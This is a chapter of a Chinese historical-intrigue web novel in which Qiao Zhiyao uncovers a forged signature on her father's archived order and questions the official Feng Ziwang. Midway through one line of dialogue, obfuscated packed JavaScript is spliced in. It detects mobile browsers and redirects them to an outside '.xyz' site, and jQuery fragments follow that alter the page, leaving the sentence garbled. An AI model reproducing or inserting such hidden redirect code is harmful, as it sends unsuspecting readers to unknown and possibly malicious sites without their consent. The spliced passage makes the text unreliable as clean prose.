那页旧卷，是从归档司密柜中亲手调出的。


    乔知遥捧着它走出内阁时，檐角残霜映着纸页的旧黄，像极了压在太久不见日光的案底灰页。


    她回到书案，将它与副页一并摊开。


    时岚随在她身侧，并未出声，只替她挡了一角雪，免得落在纸页上。


    乔知遥一页页翻着，眼中神色逐渐沉下。


    这一页原卷上，正文书的是：“银账尚缺三成，兵部待复”，落款却不是父亲的名字，而是另一个署名：


    林庆之。


    乔知遥记得这个名字。就在数日前，她第一次在旧节要中见过这个名字。


    那时她以为，这只是个兵部属吏；可现在，这人落款的是调令正文，笔迹工整，显然是当年主稿之人。


    而在卷尾角落，隐约有一行小字压在左下——“三成待拨，复审之后再议。”


    墨已淡，但笔锋熟悉，是父亲的字。


    乔知遥指尖一顿。


    父亲并非调令起草人，只是在旁批了一句“再议”，留下审慎意见。可后来的副录中，那句被删了不说，连署名都从“林庆之”换成了“乔昶”。


    乔知遥忽然明白了：


    “银账已拨”的不是父亲的笔，


    “复核无虞”的不是父亲的意，


    可那副录的末尾，却落着父亲的名字，仿佛一切都是他说的。


    乔知遥盯着那行字，心口泛起一股压得极深的怒意。


    不是因为这句话写得有错，也不是因为署了谁的名——


    而是因为这整页纸，根本就不是她父亲的笔，却偏偏署着他的名字，盖着他的章。


    那并不是乔昶的笔，那是某人换上另一种话、另一种意，再盖上乔昶的名讳，把那一页“未拨”抹成了“已拨”，把“还需再议”抹成了“可以交办”。


    而她的父亲，被留在了那张纸的下面，字迹淡得几乎不可辨，仿佛这件事，从未发生过。


    忽然，一只手伸来，轻轻按住卷角——是时岚。


    “你父亲的笔迹我也见过。”时岚道，“这一页不是他写的。”


    乔知遥点头：“我知道。”


    乔知遥低声道：“那年调令风急，父亲日夜在灯下校案。我问他，为何要亲自改这卷？”


    “他说，银账三成，百姓三州，他不能只落一句‘可行’。”


    而如今，“可行”成了原案，“未齐”被抹去。


    乔知遥坐在院中良久未动。


    纸上那行“林庆之”，仿佛落在她记忆与疑问的交界处，一点点攒起。


    这不是偶然。她知道。


    若这个人，能在案前代落父名；那他，也极可能是那年真正推动那页成稿的人。


    翌日恰逢休沐，诰录署不开卷。乔知遥难得从一片安静中自然醒来，没有纸声，也没有吏人的脚步惊扰屋前晨光。


    她推开窗时，阳光照进屋内，落在桌角那张未用完的注录纸上，像一枚还未落下的笔锋。


    时岚正站在院外探头探脑，一手提着折扇，一手提着豆花：“起来了？再不出来我就进去了。”


    乔知遥换了袍，淡淡笑了笑：“你几时起得这么早了？”


    “你有卷要翻，我没事干。”时岚耸肩，“索性在你前头起来，省得你又想抄书。”


    雍都入冬后经常下雪，街头巷尾的积雪尚未扫净，但有孩子已经踩着雪垒了小人，集市比雪天前更热闹几分。她们绕过街南两条小巷，走到旧书坊那条胡同时，乔知遥忽见有小贩撑起画摊，上头画的是旧年间战事图卷与名将勋功。


    “这画还真年年都有人画。”时岚啧啧，“换个颜色，换几个将名，又是一年。”


    “你小时候还买过。”乔知遥没看她，只望着画里那几位被画得英姿勃发的“名将”。


    时岚哼一声：“我那时不识字，看谁都挺有出息。”


    时岚走了几步，回头见乔知遥仍盯着那副画，便走回来低声问：“怎么？想起什么了？”


    乔知遥没说话，只从袖中取出一页记事小册，轻轻翻开，夹在其中的一页调卷索引被风吹起一角，上头写着几笔老字：


    【熙五秋后·兵册副审·见冯字批印】。


    乔知遥将那一页按住，语气极轻：“我昨天查到兵册前案中，有冯子望亲批的旧卷。”


    “……他落了名字？” 时岚眉一挑。


    “是旧字迹，在那页最下角，墨色极淡。”乔知遥低声道，“那页调令，除了他，再无旁人署名。可按制，那一案原该有两人联审，他不该是唯一的批官。”


    乔知遥顿了顿，又道：“可如今，那卷里只留下他的落款。”


    “而且，那行字墨色偏青，不是诰录署常配的黑墨。”


    时岚一怔：“青竹墨？冯子望一直偏爱这种。”


    乔知遥点了点头，她自幼识墨，不难辨“青竹墨”独有的幽青——这种墨不是官府制式所用，太淡，不显，落在旧纸上，隔几载便与岁痕相融，极难察觉。


    时岚眸光一敛：“你怀疑……不是他一个人审，却只有他一个人留下名字？”


    “我不知道。”乔知遥答得极慢，“我只是知道，这卷该有人协署，如今却只剩下他。”


    乔知遥将那页轻轻合上，手指却落在署名之处：“而且，当初是我求他给了我一张调文，才得入诰录。”


    时岚一怔：“你没和我说过，那他到底是为何答应的？”


    “我不知道。”乔知遥低声，“他没有拒绝，但也没明说是帮我。他只说‘你既敢求，便自己走’。”


    “可如今，许多落款都没了，只有他的字还留着。”


    乔知遥缓缓收起那一页：“他给了我调文，没多说一句话。我以为那只是放行。可现在看来，他是在赌我会不会看懂。”


    时岚没有再问，只看了她一眼，道：“那你现在是想去找他？我陪你去。”


    乔知遥摇头：“不必。”


    乔知遥语气不重，眼神却极坚定：“我知道他若愿说，今日便会说；若不愿说，你也听不到。”


    时岚沉默了半刻，终是没再坚持。


    午后阳光落得极淡，街边雪已融开一层，脚下仍有暗冻未解。乔知遥身着藏青氅衣，一路穿过内署与甬道，步履极稳。


    冯子望所住的小院并不在中枢正署，而是在宫西靠近讲经斋旧地的一间偏宅。


    乔知遥入诰录之初，便试着从同馆的老吏口中侧问冯子望平日所居。那人一边磨墨，一边含糊道：


    “冯大人这几年不怎么值班，典仪那边有格式要签时才来一趟……平日多半是在宫西讲经斋边那处偏院里坐着，不爱掺事。”


    那日的话她放在了心上，如今派上了用场。


    乔知遥记得，这院子是昔年尚书讲学所用之地，后废，留予曾任教官的散官轮值居住。


    冯子望未有子嗣，独居，喜静。若不值事，便常居讲经斋旧宅，几乎不与署外往来。


    乔知遥立于门前，抬手欲敲，又停了下。


    这院门她从未来过——她与冯子望真正说话的那一次，是在礼部典仪司后署的偏厅，那时她为求一纸调文，深夜绕过正廊，他以“格式复核”之名坐堂，给了她一条可走的路。


    那日她站在檐下，雪落肩头，尚不知自己会被卷入何处，只知道再不求，就无法入局。


    而如今，她再访冯子望，却不再是求。


    乔知遥的手在空中悬了片刻，指尖有一瞬的迟疑。不是因为胆怯，而是她知道，这一问出口，便不会再有回头之路。


    她不确定冯子望会否说实话，也不确定他是否还愿置身局内。但她必须问。


    乔知遥轻轻吸了口气，收住思绪，指节缓缓敲下。


    声音极轻，却清晰落入那道木门之后。


    门后脚步极缓，一如院中岁月。


    片刻后，“吱呀”一声木门半开，露出一位中年书吏的脸，须发微白，衣着整齐，身后雪气尚在。他是冯子望旧年尚在讲经斋任教时收过的一位门生，后不愿为官，常留此宅执卷、照顾冯子望的起居。


    中年书吏见是她，不等乔知遥开口，便微一抬手示意，语气温和道：“冯大人说过，姑娘若今日来，就请您直接进。”


    乔知遥轻轻还礼，举步入内。


    院中极静，雪未扫尽，廊上积着几处结霜的叶子，风一过便沙沙落地。


    乔知遥沿熟路直入正厅，帘后冯子望已在案边落坐，神情如常，仿佛对她的到来早有预料。


    冯子望没有起身，只抬眼看她，语调不紧不慢：


    “看来，你已经看到那一页了。”


    这一句像是洞悉她来意般稳稳落下，不重，却极准。


    乔知遥没有答，只拱手一礼：


    “今日前来，不为求卷，只为请教冯先生一问。”


    冯子望含笑不语，静待她开口。


    乔知遥望向冯子望，声音沉静：


    “当日那纸调令，是我求来的。可冯先生为何愿给？是见我敢问，还是想看我敢不敢翻？”


    这句话落下，厅中沉默半晌。


    冯子望轻轻一叹，将手中茶盏放下，低声道：


    “我不劝你走，也不劝你退。”


    “卷页在你手中，怎么翻，是你的事。可你要记得，能翻页的，不一定能翻局。”


    冯子望语声不高，眼神却极深。


    “这一步，你已入了。但下一步，走得慢一些，也未尝不是法子。”


    乔知遥没有立刻作声，只静静地看着冯子望，目光平稳而冷静，像是看穿了一页纸的所有涂改。


    片刻后，乔知遥轻轻开口，不带质问，唯有陈述：


    “我不急着走下一步，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739586|173658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是不愿装作无事发生。”


    冯子望闻言一笑，轻轻点头。


    乔知遥行了一礼，便转身出了门。


    檐角未融的冰棱轻轻敲击屋瓦，像是远处无声的钟。


    乔知遥知道，冯子望给了她的，从来不是一句话，而是一种未阻止的默许。


    而她此刻真正想听到的，也不是答案。


    而是冯子望仍在看。


    院外雪泥已化，风势却未歇。


    乔知遥走出冯宅时天色已近暮，街市上人声稀落，偶有马蹄声远远传来，又被风吹碎成几片，无声散进长巷尽头。


    乔知遥缓步而行，一路穿过讲经斋旧坊，天光渐暗。


    归途上，她心中翻卷并不比卷中笔迹少。


    冯子望没有正面回答她的问题，但她知道，那句“我不劝你走，也不劝你退”，本身就已经是一种应允。


    他并非真正中立，而是惯于留白——他不会明说支持谁，也不轻易阻谁；他给她的不是援手，而是一种“我不会替你遮”的姿态。


    乔知遥缓缓吐出一口气，雪中步伐却未停。


    当她穿过北街回到南坊旧巷，刚踏入院门，就见时岚已立于廊下，手中拎着半壶温酒，眼里裹着一点雪后的雾气。


    “你去了一下午。”时岚将酒盏递过来，“他果然不是什么都说。”


    乔知遥接过酒盏，笑意淡淡：“你怎知我不是被留饭了？”


    “你回来这脸色，还用猜？”时岚把余酒放回桌上，抬眼看她：“那他说了什么？”


    “他说，不劝我走，也不劝我退。”乔知遥顿了顿，“一句不多，一字不少。”


    时岚轻嗤一声：“听着倒像中枢惯用的说法。”


    “他确实是看惯中枢的人。”乔知遥低声道。


    “那你看懂了？”


    乔知遥没有立刻回答，只将盏中酒一饮而尽。


    片刻，乔知遥才缓缓道：“懂了。他今日坐在那，不是为了劝我。是为了让我知道，从今以后，他不会再拦，也不会再提。”


    “他愿我走，便由我走；愿我翻，便让我翻。”


    “可也正因如此，从今日之后，若我翻不动下一页，就只能自己担。”


    时岚没有说话，只是静静看着她。


    良久，时岚才开口：“所以你还要继续往下翻？”


    “我若不翻，就真成了那行‘乔昶署名’下的笔尾之人。”


    “可冯子望不是下令者。”时岚道，“那页署名不是他写的，他也未曾改过。你为何还要问他？”


    乔知遥垂眸，轻声答道：“因为他知道是谁写的。”


    “而他今日没说，只代表，他说不得，或者，不想说。”


    “但他愿意我查，那就说明，那人，未必稳。”


    乔知遥话音未落，时岚眸光一动：“你怀疑林庆之？”


    乔知遥没有点头，也没有否认。


    只是望向檐角未干的雪，语调极低：“从我翻开那一页开始，他就已经在纸上。”


    “而如今，那笔落在他名下，却改成了我父亲的名字。”


    “他要不是写的人，就是有人让别人以为他是写的人。”


    时岚将酒盏一顿：“那我们接下来要查的，是这位林庆之？”


    乔知遥点了点头：“我记得当年兵部节调册中，林庆之署的是‘兵议三组’。我想查一查那几年兵部署组安排的卷底，看看他实际负责过哪些案。还有，若能调出枢密案牍底稿，也许能看出卷调流转的痕迹。”


    乔知遥顿了顿，低声补了一句：“但这些，诰录协修没有调阅权限。”


    时岚挑眉：“所以你今天不让我陪去冯宅，其实不是怕我问错话。”


    乔知遥看了她一眼，唇角微弯，却没否认，只道：“我想他若愿说些什么，只会对我一人说。”


    时岚看着她，忽而轻笑一声：“你明明已经翻出卷的关键页，还在藏下一步的打算。”


    “我不是在藏，”乔知遥收回目光，语气依旧平静，“我只是还没想清，哪一步能走、哪一步不能响。”


    屋中灯影摇曳，雪光映在两人袖边，像是三年前那场风雪悄然归来，又一次落在她们案前。


    但这一次，她们不再是从风雪中逃走的小姑娘。


    她们，是要把未完之局写下去的人。


    从今日起，那些埋在纸页之间的名字，会一一浮现。


    林庆之，只是开始。


    还有更多名字，更多笔迹，埋在未被翻出的案底之下。


    而冯子望——他今日没有拒绝，却也没有明言。他像是提醒，也像是在划出一条界限。


    他不会再领她往前一步，那之后的路，只能靠她们自己走下去。


    雪光落在纸页之上，风声轻掠门扉。


    那一页之后，是无人标记的下一页。